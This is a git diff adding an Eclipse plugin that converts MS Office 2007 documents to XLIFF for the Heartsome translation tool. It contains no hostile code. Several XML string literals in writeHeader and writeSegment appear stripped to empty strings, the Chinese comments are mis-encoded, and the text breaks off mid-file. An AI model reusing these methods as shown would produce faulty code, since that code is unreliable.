b/hsconverter/net.heartsome.cat.converter.msoffice2007/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:11:53 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.msoffice2007/META-INF/MANIFEST.MF new file mode 100644 index 0000000..055482d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/META-INF/MANIFEST.MF @@ -0,0 +1,17 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter MS Office 2007 +Bundle-SymbolicName: net.heartsome.cat.converter.msoffice2007 +Bundle-Version: 8.0.0.R8b_v20121115 +Bundle-Activator: net.heartsome.cat.converter.msoffice2007.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.converter.xml, + org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0", + org.osgi.util.tracker;version="1.4.2", + org.slf4j +Export-Package: net.heartsome.cat.converter.msoffice2007 +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/build.properties b/hsconverter/net.heartsome.cat.converter.msoffice2007/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/Activator.java b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/Activator.java new file mode 100644 index 0000000..29bf266 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/Activator.java @@ -0,0 +1,231 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msoffice2007; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.AndFilter; +import net.heartsome.cat.converter.util.ConverterRegister; +import net.heartsome.cat.converter.util.EqFilter; +import net.heartsome.cat.converter.xml.Xliff2Xml; +import net.heartsome.cat.converter.xml.Xml2Xliff; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.Constants; +import org.osgi.framework.ServiceReference; +import org.osgi.framework.ServiceRegistration; +import org.osgi.util.tracker.ServiceTracker; +import org.osgi.util.tracker.ServiceTrackerCustomizer; + +/** + * The Class Activator.The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + // The plug-in ID + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.msoffice2007"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The bundle context. */ + private static BundleContext bundleContext; + + /** The positive tracker. */ + private static ServiceTracker positiveTracker; + + /** The reverse tracker. */ + private static ServiceTracker reverseTracker; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + bundleContext = context; + // tracker the xml converter service + String positiveFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, Xml2Xliff.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_POSITIVE)).toString(); + positiveTracker = new ServiceTracker(context, context.createFilter(positiveFilter), new XmlPositiveCustomizer()); + positiveTracker.open(); + + String reverseFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, Xliff2Xml.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_REVERSE)).toString(); + reverseTracker = new ServiceTracker(context, context.createFilter(reverseFilter), new XmlReverseCustomize()); + reverseTracker.open(); + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + positiveTracker.close(); + reverseTracker.close(); + plugin = null; + bundleContext = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + // just for test + /** + * Gets the xML converter. + * @param direction + * the direction + * @return the xML converter + */ + public static Converter getXMLConverter(String direction) { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { + return new Xml2Xliff(); + } else { + return new Xliff2Xml(); + } + } + + /** + * The Class XmlPositiveCustomizer. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class XmlPositiveCustomizer implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter msOffice2Xliff = new MSOffice2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, MSOffice2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, MSOffice2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, MSOffice2Xliff.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerPositiveConverter(bundleContext, + msOffice2Xliff, properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + registration.unregister(); + bundleContext.ungetService(reference); + } + + } + + /** + * The Class XmlReverseCustomize. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class XmlReverseCustomize implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) bundleContext.getService(reference); + Converter xliff2MSOffice = new Xliff2MSOffice(converter); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2MSOffice.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2MSOffice.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2MSOffice.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerReverseConverter(bundleContext, + xliff2MSOffice, properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + registration.unregister(); + bundleContext.ungetService(reference); + } + + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/MSOffice2Xliff.java b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/MSOffice2Xliff.java new file mode 100644 index 0000000..858cc72 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/MSOffice2Xliff.java @@ -0,0 +1,862 @@ +/** + * MSOffice2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msoffice2007; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Stack; +import java.util.zip.ZipEntry; +import java.util.zip.ZipFile; +import java.util.zip.ZipInputStream; +import java.util.zip.ZipOutputStream; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.msoffice2007.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.Attribute; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * The Class MSOffice2Xliff. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class MSOffice2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-msoffice2007"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("msoffice2007.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "MS Office 2007 to XLIFF Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + MSOffice2XliffImpl converter = new MSOffice2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class MSOffice2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class MSOffice2XliffImpl { + + /** The qt tool id. */ + private String qtToolID = null; + + /** The src file. */ + private String srcFile; + + /** The skeleton. */ + private String skeleton; + + /** The merged. */ + private Document merged; + + /** The merged root. */ + private Element mergedRoot; + + /** The zip out. */ + private ZipOutputStream zipOut; + + /** The zip in. */ + private ZipInputStream zipIn; + + /** The input file. */ + private String inputFile; + + /** The xliff file. */ + private String xliffFile; + + /** The skeleton file. */ + private String skeletonFile; + + /** The source language. */ + private String sourceLanguage; + + /** The XLIFF file target language **/ + private String targetLanguage; + + /** The catalogue. */ + private String catalogue; + + /** The text. */ + private String text = ""; //$NON-NLS-1$ + + /** The in body. */ + boolean inBody = false; + + /** The out. */ + private FileOutputStream out; + + /** The skel. */ + private FileOutputStream skel; + + /** The segnum. */ + private int segnum; + + /** The seg by element. */ + private boolean segByElement; + + /** The segmenter. */ + private StringSegmenter segmenter; + + /** The src encoding. */ + private String srcEncoding; + + /** The is suite. */ + private boolean isSuite; + + /** The srx. */ + private String srx; + + /** + * Convert content. + * @param params + * the params + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map convertContent(Map params) throws ConverterException { + Map result = new HashMap(); + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + segnum = 0; + + try { + // if (segByElement == false) { + if (!segByElement) { + segmenter = new StringSegmenter(srx, sourceLanguage, catalogue); + } + SAXBuilder builder = new SAXBuilder(); + Document doc = builder.build(inputFile); + Element root = doc.getRootElement(); + out = new FileOutputStream(xliffFile); + skel = new FileOutputStream(skeletonFile); + writeHeader(); + recurse(root); + writeOut("\n\n"); //$NON-NLS-1$ + out.close(); + skel.close(); + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("msoffice2007.MSOffice2Xliff.msg1"), + e); + } + return result; + } + + /** + * Run. + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + Map result = new HashMap(); + + srcFile = args.get(Converter.ATTR_SOURCE_FILE); + String xliff = args.get(Converter.ATTR_XLIFF_FILE); + skeleton = args.get(Converter.ATTR_SKELETON_FILE); + isSuite = false; + if (Converter.TRUE.equals(args.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + qtToolID = args.get(Converter.ATTR_QT_TOOLID) != null ? args.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + sourceLanguage = args.get(Converter.ATTR_SOURCE_LANGUAGE); + targetLanguage = args.get(Converter.ATTR_TARGET_LANGUAGE); + catalogue = args.get(Converter.ATTR_CATALOGUE); + String elementSegmentation = args.get(Converter.ATTR_SEG_BY_ELEMENT); + srx = args.get(Converter.ATTR_SRX); + srcEncoding = args.get(Converter.ATTR_SOURCE_ENCODING); + if (elementSegmentation == null) { + segByElement = false; + } else { + if (elementSegmentation.equals(Converter.TRUE)) { + segByElement = true; + } else { + segByElement = false; + } + } + + try { + // 把总任务分为压缩文件中的æ¡ç›®ä¸ªæ•°ï¼‹1;其中最åŽä¸€ä¸ªä»»åŠ¡ä¸º library3 写åˆå¹¶åŽçš„ xliff 文件。 + ZipFile zipFile = new ZipFile(srcFile); + int size = zipFile.size(); + int totalTask = size + 1; + monitor.beginTask(Messages.getString("msoffice2007.MSOffice2Xliff.task1"), totalTask); + merged = new Document(null, "xliff", null, null); //$NON-NLS-1$ + mergedRoot = merged.getRootElement(); + mergedRoot.setAttribute("version", "1.2"); //$NON-NLS-1$ //$NON-NLS-2$ + mergedRoot.setAttribute("xmlns", "urn:oasis:names:tc:xliff:document:1.2"); //$NON-NLS-1$ //$NON-NLS-2$ + mergedRoot.setAttribute("xmlns:xsi", "http://www.w3.org/2001/XMLSchema-instance"); //$NON-NLS-1$ //$NON-NLS-2$ + mergedRoot.setAttribute("xmlns:hs", Converter.HSNAMESPACE); //$NON-NLS-1$ + mergedRoot + .setAttribute( + "xsi:schemaLocation", "urn:oasis:names:tc:xliff:document:1.2 xliff-core-1.2-transitional.xsd " + Converter.HSSCHEMALOCATION); //$NON-NLS-1$ //$NON-NLS-2$ + zipOut = new ZipOutputStream(new FileOutputStream(skeleton)); + zipIn = new ZipInputStream(new FileInputStream(srcFile)); + + ZipEntry entry = null; + while ((entry = zipIn.getNextEntry()) != null) { + // 检查是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("msoffice2007.cancel")); + } + String messagePattern = Messages.getString("msoffice2007.MSOffice2Xliff.task2"); + String message = MessageFormat.format(messagePattern, new Object[] { entry.getName() }); + monitor.setTaskName(message); + + if (entry.getName().matches(".*\\.[xX][mM][lL]")) { //$NON-NLS-1$ + File f = new File(entry.getName()); + String name = f.getName(); + String tmpFileName = name.substring(0, name.lastIndexOf(".")); //$NON-NLS-1$ + if (tmpFileName.length() < 3) { + tmpFileName += "_tmp"; //$NON-NLS-1$ + } + File tmp = File.createTempFile(tmpFileName, ".xml"); //$NON-NLS-1$ + FileOutputStream output = new FileOutputStream(tmp.getAbsolutePath()); + byte[] buf = new byte[1024]; + int len; + while ((len = zipIn.read(buf)) > 0) { + output.write(buf, 0, len); + } + output.close(); + try { + Hashtable table = new Hashtable(); + table.put(Converter.ATTR_SOURCE_FILE, tmp.getAbsolutePath()); + table.put(Converter.ATTR_XLIFF_FILE, tmp.getAbsolutePath() + ".xlf"); //$NON-NLS-1$ + table.put(Converter.ATTR_SKELETON_FILE, tmp.getAbsolutePath() + ".skl"); //$NON-NLS-1$ + boolean hasError = false; + Map res = null; + try { + res = convertContent(table); + } catch (ConverterException ce) { + hasError = true; + } + + if (res == null || res.get(Converter.ATTR_XLIFF_FILE) == null) { + hasError = true; + } + if (!hasError) { + if (countSegments(tmp.getAbsolutePath() + ".xlf") > 0) { //$NON-NLS-1$ + updateXliff(tmp.getAbsolutePath() + ".xlf", entry.getName()); //$NON-NLS-1$ + addFile(tmp.getAbsolutePath() + ".xlf"); //$NON-NLS-1$ + ZipEntry content = new ZipEntry(entry.getName() + ".skl"); //$NON-NLS-1$ + content.setMethod(ZipEntry.DEFLATED); + zipOut.putNextEntry(content); + FileInputStream input = new FileInputStream(tmp.getAbsolutePath() + ".skl"); //$NON-NLS-1$ + byte[] array = new byte[1024]; + while ((len = input.read(array)) > 0) { + zipOut.write(array, 0, len); + } + zipOut.closeEntry(); + input.close(); + } else { + saveEntry(entry, tmp.getAbsolutePath()); + } + File skl = new File(tmp.getAbsolutePath() + ".skl"); //$NON-NLS-1$ + skl.delete(); + File xlf = new File(tmp.getAbsolutePath() + ".xlf"); //$NON-NLS-1$ + xlf.delete(); + } else { + saveEntry(entry, tmp.getAbsolutePath()); + } + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + // do nothing + saveEntry(entry, tmp.getAbsolutePath()); + } + tmp.delete(); + } else { + // not an XML file + File tmp = File.createTempFile("zip", ".tmp"); //$NON-NLS-1$ //$NON-NLS-2$ + FileOutputStream output = new FileOutputStream(tmp.getAbsolutePath()); + byte[] buf = new byte[1024]; + int len; + while ((len = zipIn.read(buf)) > 0) { + output.write(buf, 0, len); + } + output.close(); + saveEntry(entry, tmp.getAbsolutePath()); + tmp.delete(); + } + monitor.worked(1); + } + + zipOut.close(); + + // output final XLIFF + + // fixed a bug 572 by john. keep a well-format of xliff. add a + // empty + // file into xliff if root have not file element. + + List files = mergedRoot.getChildren("file"); //$NON-NLS-1$ + if (files.size() == 0) { + Element file = new Element("file", merged); //$NON-NLS-1$ + file.setAttribute("original", srcFile); //$NON-NLS-1$ + file.setAttribute("source-language", sourceLanguage); //$NON-NLS-1$ + file.setAttribute("datatype", TYPE_VALUE); //$NON-NLS-1$ + Element header = new Element("header", merged); //$NON-NLS-1$ + Element body = new Element("body", merged); //$NON-NLS-1$ + file.addContent(header); + file.addContent("\n"); //$NON-NLS-1$ + file.addContent(body); + mergedRoot.addContent(file); + header = null; + body = null; + file = null; + } + files = null; + + // ç”Ÿæˆ xliff 文件 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("msoffice2007.cancel")); + } + monitor.subTask(Messages.getString("msoffice2007.MSOffice2Xliff.task3")); + XMLOutputter outputter = new XMLOutputter(); + outputter.preserveSpace(true); + FileOutputStream output = new FileOutputStream(xliff); + outputter.output(merged, output); + output.close(); + result.put(Converter.ATTR_XLIFF_FILE, xliff); + monitor.worked(1); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("msoffice2007.MSOffice2Xliff.msg2"), + e); + } finally { + monitor.done(); + } + return result; + } + + /** + * Write header. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeHeader() throws IOException { + writeOut("\n"); //$NON-NLS-1$ + writeOut("\n"); //$NON-NLS-1$ + if (!targetLanguage.equals("")) { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + }else { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeOut("

    \n"); //$NON-NLS-1$ + writeOut("\n"); //$NON-NLS-1$ + if (isSuite) { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + writeOut("\n"); //$NON-NLS-1$ + writeOut(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeOut(" " //$NON-NLS-1$ + + srcEncoding + "\n"); //$NON-NLS-1$ + writeOut("
    \n\n"); //$NON-NLS-1$ + writeOut("\n"); //$NON-NLS-1$ + } + + /** + * Save entry. + * @param entry + * the entry + * @param name + * the name + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void saveEntry(ZipEntry entry, String name) throws IOException { + ZipEntry content = new ZipEntry(entry.getName()); + content.setMethod(ZipEntry.DEFLATED); + zipOut.putNextEntry(content); + FileInputStream input = new FileInputStream(name); + byte[] array = new byte[1024]; + int len; + while ((len = input.read(array)) > 0) { + zipOut.write(array, 0, len); + } + zipOut.closeEntry(); + input.close(); + } + + /** + * Write segment. + * @param sourceText + * the source text + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws SAXException + * the SAX exception + */ + private void writeSegment(String sourceText) throws IOException, SAXException { + String s = "" + sourceText + ""; //$NON-NLS-1$ //$NON-NLS-2$ + SAXBuilder b = new SAXBuilder(); + Document d = b.build(new ByteArrayInputStream(s.getBytes("UTF-8"))); //$NON-NLS-1$ + Element source = d.getRootElement(); + List content = source.getContent(); + String start = ""; //$NON-NLS-1$ + String end = ""; //$NON-NLS-1$ + List tags = source.getChildren("ph"); //$NON-NLS-1$ + if (tags.size() == 1) { + if (content.get(0).getNodeType() == Node.ELEMENT_NODE) { + Element e = tags.get(0); + start = e.getText(); + content.remove(0); + source.setContent(content); + } else if (content.get(content.size() - 1).getNodeType() == Node.ELEMENT_NODE) { + Element e = tags.get(0); + end = e.getText(); + content.remove(content.size() - 1); + source.setContent(content); + } + } else if (tags.size() > 1) { + if (content.get(0).getNodeType() == Node.ELEMENT_NODE + && content.get(content.size() - 1).getNodeType() == Node.ELEMENT_NODE) { + // check if it is possible to send + // initial and trailing tag to skeleton + Element first = new Element(content.get(0)); + Element last = new Element(content.get(content.size() - 1)); + String test = first.getText() + last.getText(); + if (checkPairs(test)) { + start = first.getText(); + end = last.getText(); + content.remove(content.size() - 1); + content.remove(0); + source.setContent(content); + } + } + } + + writeSkel(start); + if (containsText(source)) { + List phs = source.getChildren("ph"); //$NON-NLS-1$ + for (int i = 0; i < phs.size(); i++) { + phs.get(i).setAttribute("id", "" + (i + 1)); //$NON-NLS-1$ //$NON-NLS-2$ + } + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeOut(source.toString()); + writeOut("\n\n\n"); //$NON-NLS-1$ + writeSkel("%%%" + segnum++ + "%%%\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + Iterator i = source.getContent().iterator(); + while (i.hasNext()) { + Node n = i.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + writeSkel(cleanString(n.getNodeValue())); + } else { + Element e = new Element(n); + writeSkel(e.getText()); + } + } + } + writeSkel(end); + } + + /** + * Check pairs. + * @param test + * the test + * @return true, if successful + */ + private boolean checkPairs(String test) { + String[] parts = test.trim().split("<"); //$NON-NLS-1$ + Stack stack = new Stack(); + for (int i = 0; i < parts.length; i++) { + if (parts[i].length() > 0) { + String[] subparts = parts[i].split("[\\s]|[>]"); //$NON-NLS-1$ + if (subparts[0].startsWith("/")) { //$NON-NLS-1$ + if (stack.size() == 0) { + return false; + } else { + String last = stack.pop(); + if (!last.equals(subparts[0].substring(1))) { + return false; + } + } + } else { + stack.push(subparts[0]); + } + } + } + if (stack.size() == 0) { + return true; + } + return false; + } + + /** + * Contains text. + * @param source + * the source + * @return true, if successful + */ + private boolean containsText(Element source) { + List content = source.getContent(); + String string = ""; //$NON-NLS-1$ + Iterator i = content.iterator(); + while (i.hasNext()) { + Node n = i.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + string = string + n.getNodeValue(); + } + } + return !string.trim().equals(""); //$NON-NLS-1$ + } + + /** + * Write out. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeOut(String string) throws IOException { + out.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Recurse. + * @param e + * the e + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws SAXException + * the SAX exception + */ + private void recurse(Element e) throws IOException, SAXException { + writeSkel("<" + e.getName()); //$NON-NLS-1$ + List atts = e.getAttributes(); + Iterator at = atts.iterator(); + while (at.hasNext()) { + Attribute a = at.next(); + writeSkel(" " + a.getName() + "=\"" + a.getValue() + "\""); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeSkel(">"); //$NON-NLS-1$ + List children = e.getChildren(); + Iterator i = children.iterator(); + while (i.hasNext()) { + Element child = i.next(); + if (child.getName().matches("[a-z]:p") || child.getName().matches("t")) { //$NON-NLS-1$ //$NON-NLS-2$ + recursePara(child); + } else { + recurse(child); + } + } + writeSkel(""); //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * Write skel. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSkel(String string) throws IOException { + skel.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Recurse para. + * @param e + * the e + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws SAXException + * the SAX exception + */ + private void recursePara(Element e) throws IOException, SAXException { + // send the opening tag to skeleton + writeSkel("<" + e.getName()); //$NON-NLS-1$ + List atts = e.getAttributes(); + Iterator ia = atts.iterator(); + while (ia.hasNext()) { + Attribute a = ia.next(); + writeSkel(" " + a.getName() + "=\"" + a.getValue() + "\""); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeSkel(">"); //$NON-NLS-1$ + // send initial elements that don't have text to skeleton + List content = e.getChildren(); + int i = 0; + for (; i < content.size(); i++) { + Element child = content.get(i); + if (hasTextElement(child)) { + break; + } + writeSkel(child.toString()); + } + + // fixed a bug by john. can not extrace text from docx and pptx + if (e.getName().matches("([a-z]:)?t")) { //$NON-NLS-1$ + text = cleanString(e.getText()); + } else { + if (content.size() - i == 1) { + recursePara(content.get(i)); + } else { + // get the text from the remaining elements + for (; i < content.size(); i++) { + recursePhrase(content.get(i)); + } + } + } + text = text.replaceAll("
    ", ""); //$NON-NLS-1$ //$NON-NLS-2$ + // if (segByElement == true) { + if (segByElement) { + writeSegment(text); + } else { + String[] segs = segmenter.segment(text); + for (int h = 0; h < segs.length; h++) { + String seg = segs[h]; + writeSegment(seg); + } + } + text = ""; //$NON-NLS-1$ + // send closing tag to skeleton + writeSkel(""); //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * Checks for text element. + * @param e + * the e + * @return true, if successful + */ + private boolean hasTextElement(Element e) { + // fixed a bug by john. can not extrace text from docx and pptx + if (e.getName().matches("([a-z]:)?t")) { //$NON-NLS-1$ + return true; + } + boolean containsText = false; + List children = e.getChildren(); + for (int i = 0; i < children.size(); i++) { + containsText = containsText || hasTextElement(children.get(i)); + } + return containsText; + } + + /** + * Recurse phrase. + * @param e + * the e + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void recursePhrase(Element e) throws IOException { + text = text + "<" + e.getName(); //$NON-NLS-1$ + List atts = e.getAttributes(); + Iterator ia = atts.iterator(); + while (ia.hasNext()) { + Attribute a = ia.next(); + text = text + " " + a.getName() + "=\"" + a.getValue() + "\""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + text = text + ">"; //$NON-NLS-1$ + + // fixed a bug by john. can not extrace text from docx and pptx + if (e.getName().matches("([a-z]:)?t")) { //$NON-NLS-1$ + text = text + cleanString(e.getText()); + } else { + List children = e.getChildren(); + for (int i = 0; i < children.size(); i++) { + recursePhrase(children.get(i)); + } + } + text = text + "</" + e.getName() + " >"; //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * Count segments. + * @param string + * the string + * @return the int + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private int countSegments(String string) throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + Document doc = builder.build(string); + Element root = doc.getRootElement(); + return root.getChild("file").getChild("body").getChildren("trans-unit").size(); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + + /** + * Adds the file. + * @param xliff + * the xliff + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void addFile(String xliff) throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + Document doc = builder.build(xliff); + Element root = doc.getRootElement(); + Element file = root.getChild("file"); //$NON-NLS-1$ + Element newFile = new Element("file", merged); //$NON-NLS-1$ + newFile.clone(file, merged); + mergedRoot.addContent(newFile); + File f = new File(xliff); + f.delete(); + } + + /** + * Update xliff. + * @param xliff + * the xliff + * @param original + * the original + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has 